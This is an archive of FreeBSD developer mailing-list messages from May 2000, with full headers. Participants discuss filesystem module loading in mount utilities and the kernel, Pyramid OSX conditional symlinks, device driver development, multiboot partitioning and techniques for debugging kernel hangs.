30 May 2000 16:22:25 -0400 (EDT) Received: by njb140bh2.ems.att.com with Internet Mail Service (5.5.2650.21) id ; Tue, 30 May 2000 16:20:56 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'Zhihui Zhang'" Cc: "'freebsd-hackers@freebsd.org'" , "'freebsd-current@freebsd.org'" Subject: RE: stupid FS questions Date: Tue, 30 May 2000 16:20:53 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="koi8-r" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG i know that :) i guess my questions were 1) why the same piece of code duplicated in all ``mount_xxx'' utilities? 2) if we are loading fs kernel module from ``mount_xxx'' why we have to do it again in kernel? if i'm not missing anything, by the time we reach ``mount'' function, fs module will be in the memory and this code will never be executed. thanks, emax > I believe that it is used to dynamic load filesystem modules. > Please read > the following pages to understand what is a kernel module: > > http://thc.inferno.tusculum.edu/files/thc/bsdkern.html > > > i've been looking at ``mount_xxx'' code and have noticed > "strange" thing. > > all ``mount_xxx'' utilities have common part of code, like > > > > error = getvfsbyname("xxx", &vfc); > > if (error && vfsisloadable("xxx")) { > > if (vfsload("xxx")) > > err(EX_OSERR, "vfsload(xxx)"); > > endvfsent(); /* flush cache */ > > error = getvfsbyname("xxx", &vfc); > > } > > if (error) > > errx(1, "xxx filesystem is not available"); > > > > if (mount(vfc.vfc_name, dir, mntflags, &args) < 0) > > err(1, NULL); > > > > 1) what is the reason for this? why can't move this code to > ``mount''? > > 2) what is the purpose of the following code in > > ``/sys/kern/vfs_syscalls.c''? > > > > ... > > for (vfsp = vfsconf; vfsp; vfsp = vfsp->vfc_next) > > if (!strcmp(vfsp->vfc_name, fstypename)) > > break; > > if (vfsp == NULL) { > > linker_file_t lf; > > > > /* Refuse to load modules if securelevel raised */ > > if (securelevel > 0) { > > vput(vp); > > return EPERM; > > } > > /* Only load modules for root (very important!) */ > > if ((error = suser(p)) != 0) { > > vput(vp); > > return error; > > } > > error = linker_load_file(fstypename, &lf); > > if (error || lf == NULL) { > > vput(vp); > > if (lf == NULL) > > error = ENODEV; > > return error; > > } > > ... > > > > from my understanding this is done to load FS module. > > or did i miss someting? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 13:31:25 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 10BCE37B6E8; Tue, 30 May 2000 13:31:12 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id QAA30098; Tue, 30 May 2000 16:31:07 -0400 (EDT) (envelope-from wollman) Date: Tue, 30 May 2000 16:31:07 -0400 (EDT) From: Garrett Wollman Message-Id: <200005302031.QAA30098@khavrinen.lcs.mit.edu> To: "Yevmenkin, Maksim N, CSCIO" Cc: "'Zhihui Zhang'" , "'freebsd-hackers@freebsd.org'" , "'freebsd-current@freebsd.org'" Subject: RE: stupid FS questions In-Reply-To: References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > i know that :) i guess my questions were > 1) why the same piece of code duplicated in all ``mount_xxx'' utilities? Because the original loadable module system held strongly to the religion that the kernel should never load anything of its own accord. The designers of the current loadable module system made different design choices, but the some traces of its predecessor still remain. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 15:34:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 32F6437B6FA; Tue, 30 May 2000 15:33:56 -0700 (PDT) (envelope-from bandix@looksharp.net) Received: from localhost (bandix@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id SAA01951; Tue, 30 May 2000 18:34:30 -0400 (EDT) (envelope-from bandix@looksharp.net) Date: Tue, 30 May 2000 18:34:30 -0400 (EDT) From: "Brandon D. Valentine" To: Zhihui Zhang Cc: "Yevmenkin, Maksim N, CSCIO" , "'freebsd-hackers@freebsd.org'" , "'freebsd-current@freebsd.org'" Subject: Re: stupid FS questions In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 30 May 2000, Zhihui Zhang wrote: >http://thc.inferno.tusculum.edu/files/thc/bsdkern.html That stuff is excellent. It belongs in doc/. Any chances of it making it there? Brandon D. Valentine -- "You should believe in death, taxes, Larry Ellison's loathing of Bill Gates and Intel's inability to ship a working chipset." - Dr Spinola, The Register, 05/13/2000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 16:11:40 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from Awfulhak.org (tun.AwfulHak.org [194.242.139.173]) by hub.freebsd.org (Postfix) with ESMTP id ED88E37BA74 for ; Tue, 30 May 2000 16:11:26 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.awfulhak.org [172.16.0.12]) by Awfulhak.org (8.9.3/8.9.3) with ESMTP id AAA73130; Wed, 31 May 2000 00:11:50 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id AAA27626; Wed, 31 May 2000 00:11:45 +0100 (BST) (envelope-from brian@Awfulhak.org) Message-Id: <200005302311.AAA27626@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Poul-Henning Kamp Cc: bpechter@shell.monmouth.com, freebsd-hackers@FreeBSD.ORG, dhh@androcles.com, brian@hak.lan.Awfulhak.org Subject: Re: Linux and FreeBSD dual universe In-Reply-To: Message from Poul-Henning Kamp of "Sun, 28 May 2000 16:47:29 +0200." <21049.959525249@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 Content-Transfer-Encoding: quoted-printable Date: Wed, 31 May 2000 00:11:44 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > In message <200005281042.GAA54833@bg-tc-ppp32.monmouth.com>, Bill Pecht= er write > s: > >> Date: Thu, 25 May 2000 09:42:51 -0700 (PDT) > >> From: "Duane H. Hesser" > >> Subject: Re: FreeBSD kernel as a replacement for Linux kernel > >> = > >> Anyone remember the old Pyramid OSX 'universe' command? > >> = > >> command like "att ls", or even "att cc ....". The universe was > >> marked by a flag which affected the interpretation of "conditional > >> symbolic links". A separate syscall was available to create > = > It did n=F8t use variant symbolic links, it used a namei hack. > = > If you had a directory containing: > . > .. > .ucbfoo > .attfoo > bar > = > and you were in universe "ucb" you would see: > . > foo > bar > = > where "foo" would take you to ".ucbfoo" > = > it was that simple. I believe it was Sequent's ``Dynix'' that had the flag-dependent = symbolic links. Sysv in those days didn't do symlinks at all ! > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD coreteam member | BSD since 4.3-tahoe = > Never attribute to malice what can adequately be explained by incompete= nce. -- = Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 18: 2:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.monmouth.com (mail.monmouth.com [209.191.58.1]) by hub.freebsd.org (Postfix) with ESMTP id 6E24937B515 for ; Tue, 30 May 2000 18:02:08 -0700 (PDT) (envelope-from pechter@bg-tc-ppp940.monmouth.com) Received: from bg-tc-ppp940.monmouth.com (bg-tc-ppp940.monmouth.com [209.191.51.126]) by mail.monmouth.com (8.9.3/8.9.3) with ESMTP id UAA12148; Tue, 30 May 2000 20:59:39 -0400 (EDT) Received: (from pechter@localhost) by bg-tc-ppp940.monmouth.com (8.9.3/8.9.3) id UAA08707; Tue, 30 May 2000 20:59:57 -0400 (EDT) (envelope-from pechter) From: Bill Pechter Message-Id: <200005310059.UAA08707@bg-tc-ppp940.monmouth.com> Subject: Re: Linux and FreeBSD dual universe In-Reply-To: <200005302311.AAA27626@hak.lan.Awfulhak.org> from Brian Somers at "May 31, 2000 00:11:44 am" To: Brian Somers Date: Tue, 30 May 2000 20:59:57 -0400 (EDT) Cc: Poul-Henning Kamp , bpechter@shell.monmouth.com, freebsd-hackers@FreeBSD.ORG, dhh@androcles.com, brian@hak.lan.Awfulhak.org Reply-To: bpechter@shell.monmouth.com X-Phone-Number: 732-935-0629 X-OS-Type: FreeBSD 4.0-CURRENT X-Mailer: ELM [version 2.4ME+ PL66 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > In message <200005281042.GAA54833@bg-tc-ppp32.monmouth.com>, Bill Pechter write > > s: > > >> Date: Thu, 25 May 2000 09:42:51 -0700 (PDT) > > >> From: "Duane H. Hesser" > > >> Subject: Re: FreeBSD kernel as a replacement for Linux kernel > > >> > > >> Anyone remember the old Pyramid OSX 'universe' command? > > >> > > >> command like "att ls", or even "att cc ....". The universe was > > >> marked by a flag which affected the interpretation of "conditional > > >> symbolic links". A separate syscall was available to create > > > > It did nøt use variant symbolic links, it used a namei hack. > > > > If you had a directory containing: > > . > > .. > > .ucbfoo > > .attfoo > > bar > > > > and you were in universe "ucb" you would see: > > . > > foo > > bar > > > > where "foo" would take you to ".ucbfoo" > > > > it was that simple. > > I believe it was Sequent's ``Dynix'' that had the flag-dependent > symbolic links. Sysv in those days didn't do symlinks at all ! > > > -- > > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > > phk@FreeBSD.ORG | TCP/IP since RFC 956 > > FreeBSD coreteam member | BSD since 4.3-tahoe > > Never attribute to malice what can adequately be explained by incompetence. > > -- > Brian > > Don't _EVER_ lose your sense of humour ! Poul-Henning -- OK -- then why was the link command modified to handle conditional links (ln -c -- I think was conditional symlinks on Pyramid. Bill (who hasn't seen a Pyramid since I left training there in 92... but misses them.) -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 18:17:57 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id AFFAB37BDCC for ; Tue, 30 May 2000 18:17:52 -0700 (PDT) (envelope-from grog@wantadilla.lemis.com) Received: (from grog@localhost) by wantadilla.lemis.com (8.9.3/8.9.3) id KAA15995; Wed, 31 May 2000 10:47:26 +0930 (CST) (envelope-from grog) Date: Wed, 31 May 2000 10:47:26 +0930 From: Greg Lehey To: Alexander Gu Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: what is the steps in the programing of device driver in freebsd? Message-ID: <20000531104726.B15797@wantadilla.lemis.com> References: <393482F8.B75F4755@seu.edu.cn> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <393482F8.B75F4755@seu.edu.cn> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 31 May 2000 at 11:11:52 +0800, Alexander Gu wrote: > hello! > recently,I read the kernel source code of freebsd,I want to write > device driver program,I want to use ioctl to control my device > how can I do ?what is the steps?:) The traditional way is to start with the source of some other driver for a similar device and bend it to your device. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 18:47:39 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.teb1.iconnet.net (smtp02.teb1.iconnet.net [209.3.218.43]) by hub.freebsd.org (Postfix) with ESMTP id 649E737B6C7 for ; Tue, 30 May 2000 18:47:35 -0700 (PDT) (envelope-from babkin@bellatlantic.net) Received: from bellatlantic.net (client-151-198-117-145.nnj.dialup.bellatlantic.net [151.198.117.145]) by smtp02.teb1.iconnet.net (8.9.1/8.9.1) with ESMTP id VAA07069; Tue, 30 May 2000 21:20:05 -0400 (EDT) Message-ID: <393468DD.1F8AA315@bellatlantic.net> Date: Tue, 30 May 2000 21:20:29 -0400 From: Sergey Babkin X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 4.0-19990626-CURRENT i386) X-Accept-Language: ru, en MIME-Version: 1.0 To: "Gary T. Corcoran" Cc: Steven Alexander , Steve Hill , freebsd-hackers@FreeBSD.ORG Subject: Re: Creating a system to boot 4 different OS types. References: <000e01bfc92c$8cc26f80$0100007f@localhost.cell2000.net> <3933155E.F6346F9D@bellatlantic.net> <3933292B.28F51856@home.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Gary T. Corcoran" wrote: > > Sergey Babkin wrote: > > The partition number does not really matter, what really matters is > > that Windows wants to be in the very first tracks of the disk. This > > is legacy left from DOS which always had the same mania. > > While this may have once been true, I don't believe it holds for modern > versions of Windows. That is, at least for Win98 and Win2000. > Whether the kluge known as Windows NT (4) still has that requirement I > don't know. In any event, unless you have a specific requirement to use It does. More interesting, if asked to be installed in non-first partition it still silently installs itself in the geometrically first partition on the disk (and then don't boot because it sets up its boot loader to boot from the partition it was asked too). -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 20:26:11 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from androcles.com (androcles.com [204.57.240.10]) by hub.freebsd.org (Postfix) with ESMTP id 333B237B58C for ; Tue, 30 May 2000 20:26:07 -0700 (PDT) (envelope-from alex@androcles.com) Received: (from dhh@localhost) by androcles.com (8.9.3/8.9.3) id UAA06064; Tue, 30 May 2000 20:22:17 -0700 (PDT) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 In-Reply-To: <200005310059.UAA08707@bg-tc-ppp940.monmouth.com> Date: Tue, 30 May 2000 20:22:17 -0700 (PDT) From: "Duane H. Hesser" To: Bill Pechter Subject: Re: Linux and FreeBSD dual universe Cc: brian@hak.lan.Awfulhak.org, freebsd-hackers@FreeBSD.ORG, bpechter@shell.monmouth.com, Poul-Henning Kamp , Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sequent Dynix did have conditional symbolic links (as I indicated in my original message). However, I did not encounter Dynix until around 1989 or 90, but was familiar with conditional symbolic links from two Pyramid 90x's I installed in the summer of 94. I cannot comment on the namei hack mentioned by Poul-Henning Kamp; it could have been there (but was never mentioned by the developers at the time), but so were conditional symbolic links. 'ln -c' was indeed the proper invocation for creating csymlinks. I believe 'csymlink() was the system call, but, you know, memory is the first thing to go. On 31-May-00 Bill Pechter wrote: >> > In message <200005281042.GAA54833@bg-tc-ppp32.monmouth.com>, Bill Pechter write >> > s: >> > >> Date: Thu, 25 May 2000 09:42:51 -0700 (PDT) >> > >> From: "Duane H. Hesser" >> > >> Subject: Re: FreeBSD kernel as a replacement for Linux kernel >> > >> >> > >> Anyone remember the old Pyramid OSX 'universe' command? >> > >> >> > >> command like "att ls", or even "att cc ....". The universe was >> > >> marked by a flag which affected the interpretation of "conditional >> > >> symbolic links". A separate syscall was available to create >> > >> > It did nxt use variant symbolic links, it used a namei hack. >> > >> > If you had a directory containing: >> > . >> > .. >> > .ucbfoo >> > .attfoo >> > bar >> > >> > and you were in universe "ucb" you would see: >> > . >> > foo >> > bar >> > >> > where "foo" would take you to ".ucbfoo" >> > >> > it was that simple. >> >> I believe it was Sequent's ``Dynix'' that had the flag-dependent >> symbolic links. Sysv in those days didn't do symlinks at all ! >> >> > -- >> > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 >> > phk@FreeBSD.ORG | TCP/IP since RFC 956 >> > FreeBSD coreteam member | BSD since 4.3-tahoe >> > Never attribute to malice what can adequately be explained by incompetence. >> >> -- >> Brian >> >> Don't _EVER_ lose your sense of humour ! > > Poul-Henning -- > > OK -- then why was the link command modified to handle conditional links > (ln -c -- I think was conditional symlinks on Pyramid. > > Bill > (who hasn't seen a Pyramid since I left training there in 92... but > misses them.) > > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > -------------- Duane H. Hesser dhh@androcles.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 23: 3:21 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gidora.zeta.org.au (gidora.zeta.org.au [203.26.10.25]) by hub.freebsd.org (Postfix) with SMTP id C76E837B5F8 for ; Tue, 30 May 2000 23:03:13 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: (qmail 3135 invoked from network); 31 May 2000 06:03:05 -0000 Received: from unknown (HELO bde.zeta.org.au) (203.2.228.102) by gidora.zeta.org.au with SMTP; 31 May 2000 06:03:05 -0000 Date: Wed, 31 May 2000 16:03:01 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Garrett Wollman Cc: "Yevmenkin, Maksim N, CSCIO" , 'Zhihui Zhang' , "'freebsd-hackers@freebsd.org'" , "'freebsd-current@freebsd.org'" Subject: RE: stupid FS questions In-Reply-To: <200005302031.QAA30098@khavrinen.lcs.mit.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 30 May 2000, Garrett Wollman wrote: > < said: > > > i know that :) i guess my questions were > > 1) why the same piece of code duplicated in all ``mount_xxx'' utilities? > > Because the original loadable module system held strongly to the > religion that the kernel should never load anything of its own > accord. The designers of the current loadable module system made > different design choices, but the some traces of its predecessor still > remain. Including defunct traces like all the duplicated code in the mount utilities :-). Relevant history: RCS file: /home/ncvs/src/lib/libc/gen/getvfsent.c,v Working file: getvfsent.c head: 1.14 ---------------------------- revision 1.13 date: 1998/11/03 15:02:29; author: peter; state: Exp; lines: +10 -1 A feeble attempt at kld compatability. The mount_* programs assume that they cannot mount a filesystem that they cannot see in getvfsbyname(). Part 1 of this is a hack, make vfsisloadable() always return true - the ultimate decider of whether it's loadable or not is kldload() or mount(). Part 2 of this is to have vfsload() call kldload(2) and return success if it works. This means that we will use a viable kld module in preference to an LKM! Ultimately, the thing to do is remove the hacks to do a vfsload in all the ^^^^^^^^^^ should have been more than a year ago mount_* commands and let the kernel do it by itself in mount(2). ---------------------------- RCS file: /home/ncvs/src/sys/kern/vfs_syscalls.c,v Working file: vfs_syscalls.c head: 1.153 ... ---------------------------- revision 1.110 date: 1998/11/03 14:29:09; author: peter; state: Exp; lines: +32 -3 make mount(2) automatically kldload modules if the requested filesystem isn't present. ---------------------------- This commit made the duplicated code redundant except for backwards compatibility. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 23:54:43 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id 7B14F37B7B3; Tue, 30 May 2000 23:54:39 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.9.3/8.8.7) with ESMTP id CAA95676; Wed, 31 May 2000 02:54:37 -0400 (EDT) Date: Wed, 31 May 2000 02:54:37 -0400 (EDT) From: "Matthew N. Dodd" To: Mike Smith Cc: Dennis , hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed In-Reply-To: <200005301612.JAA01179@mass.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 30 May 2000, Mike Smith wrote: > This is still pretty straightforward, actually. Your problem is that > you're looking at an API with *more* functionality, and you need to > incorporate the superset. You'll typically find that everything your > Linux driver does can be handled with a wrapper that's also busspace > compatible. And in fact, if your driver is well written in the first place, converting to bus_space should only involve a couple of lines of code, plus the code to manage the bus_space setup/teardown. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 0:46:16 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id 9F5C737B795; Wed, 31 May 2000 00:46:01 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id NAA06551; Wed, 31 May 2000 13:13:46 +0530 (IST) Received: from sund6.sasi.com ([10.0.16.6]) by sasi.com; Wed, 31 May 2000 13:13:46 +0000 (IST) Received: from localhost (gbnaidu@localhost) by sund6.sasi.com (8.9.3/8.9.1) with ESMTP id NAA25680; Wed, 31 May 2000 13:13:41 +0530 (IST) Date: Wed, 31 May 2000 13:13:40 +0530 (IST) From: "G.B.Naidu" To: freebsd-net@FreeBSD.org Cc: freebsd-hackers@FreeBSD.org Subject: RE: system hangs... (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I have posted this earlier. I didnt get any reply about system hangs. Please some body help me out to track down these hangs. Questions are below. thanks --gb ---------- Forwarded message ---------- Date: Tue, 30 May 2000 14:32:30 +0530 (IST) From: G.B.Naidu To: "Koster, K.J." Cc: freebsd-hackers@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Subject: RE: system hangs... Hi, Please see my comments below: On Tue, 30 May 2000, Koster, K.J. wrote: > > > > We have made some kernel changes. And accordingly we are > > testing the changes using some user level daemon. After > > sending some packets, the system hangs. The number of > > packets sent before the system hangs varies from time to > > time. > > > What kind of changes? What kind of packets? What kind of deamon? What kind > of kernel? We are trying to implement MPLS on FreeBSD. so we are implementing forwarding tables in side the kernel. The chamges are done in ip_output() and ether_output(). We have added some more routing messages and corresponding functions. Dameon we are running is LDP daemon. The packets We are sending to test are ping packets. Kernel version is 3.3-RELEASE > > > > > Could some body tell me how to know what is happening? How > > do I find out the reason for hanging? Is there anyway to get > > such information through some core dump? I have enabled > > taking dumps and it is dumping when the system panics but > > not when it hangs. > > > You can make the system panic manually, and then you have your kernel core. I am concerned about hangs not panic. If it hangs, I cant type even enter. Nothing responds except the reset and power off key. SO is there a way I can take core dumps when the system hangs? > > As for how to know what's happening: printf() is your friend. > Is there a way to redirect the out put of printf() statements into /var/log/messages file? How do I do that? > > > > Is memory leakage can cause a system hang? If so how do I > > find out that there is a memory leakage? > > > There are many good books and web sites that cover basic debugging > techniques. Could you please give me some pointers to these locations and books? I would be glad to know those locations where I can get some debug techniques. > > You have to provide a *lot* more information than this. We can only help you > if you are able to produce some detailed description of your problem. If you > can't tell sitting behind the box, how are we supposed to know what you've > done wrong? If you need any more information, please let me know. The problem is because the system hangs, I cant do anything to find out what's happening. thanks a lot --gb > > Kees Jan > > ============================================== > Everyone is responsible for his own actions, > and (people tend to forget this) the effect > they have on others. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 0:59: 8 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 6B2BE37BEA7; Wed, 31 May 2000 00:58:59 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (nobody@relay.nuxi.com [169.237.7.38]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id AAA33422; Wed, 31 May 2000 00:58:56 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id AAA50840; Wed, 31 May 2000 00:59:02 -0700 (PDT) (envelope-from obrien) Date: Wed, 31 May 2000 00:59:02 -0700 From: "David O'Brien" To: "Yevmenkin, Maksim N, CSCIO" Cc: "'freebsd-current@freebsd.org'" , "'freebsd-hackers@freebsd.org'" Subject: Re: kerneld for -current Message-ID: <20000531005902.A50339@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from myevmenkin@att.com on Tue, May 30, 2000 at 10:17:22AM -0400 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, May 30, 2000 at 10:17:22AM -0400, Yevmenkin, Maksim N, CSCIO wrote: > is there any interest in ``kerneld'' (a-la Linux) for FreeBSD? i've got > some working prototype Could you summerize what it offers and does? -- -- David (obrien@FreeBSD.org) Disclaimer: Not speaking for FreeBSD, just expressing my own opinion. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 1: 0:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id 58C6A37B76E; Wed, 31 May 2000 01:00:04 -0700 (PDT) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id JAA91324; Wed, 31 May 2000 09:59:41 +0200 (CEST) (envelope-from sos) From: Soren Schmidt Message-Id: <200005310759.JAA91324@freebsd.dk> Subject: Re: system hangs... (fwd) In-Reply-To: from "G.B.Naidu" at "May 31, 2000 01:13:40 pm" To: gbnaidu@sasi.com (G.B.Naidu) Date: Wed, 31 May 2000 09:59:41 +0200 (CEST) Cc: freebsd-net@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems G.B.Naidu wrote: > > I have posted this earlier. I didnt get any reply about system hangs. > Please some body help me out to track down these hangs. Questions are > below. Have you tried putting DDB into the kernel, and tried to hit ALT+CTRL+ESC to go into the debugger on the hang ? Printf is a good tool here, sprinkle your source with printf's so you can see how far you get, and what essential values are getting used. Another possibility is to attach 8 LED's to a printer port, those you can then turn on/off at will by a simple outb statement. I use a 2*40 char LCD display connected this way sometimes, that gives me a history of 80 values, so I can se the exact sequence of events that let me to the problem at hand.. -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 1:44:37 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mailserv.waikato.ac.nz (mailserv.waikato.ac.nz [130.217.66.61]) by hub.freebsd.org (Postfix) with ESMTP id 931BB37B50E for ; Wed, 31 May 2000 01:44:27 -0700 (PDT) (envelope-from mjl12@waikato.ac.nz) Received: from stu_ex3.waikato.ac.nz (stu-ex3.waikato.ac.nz [130.217.70.30]) by mailserv.waikato.ac.nz (8.9.3/8.9.0) with ESMTP id UAA11814 for ; Wed, 31 May 2000 20:46:31 +1200 Received: by stu-ex3.waikato.ac.nz with Internet Mail Service (5.5.2650.21) id ; Wed, 31 May 2000 20:43:50 +1200 Message-ID: 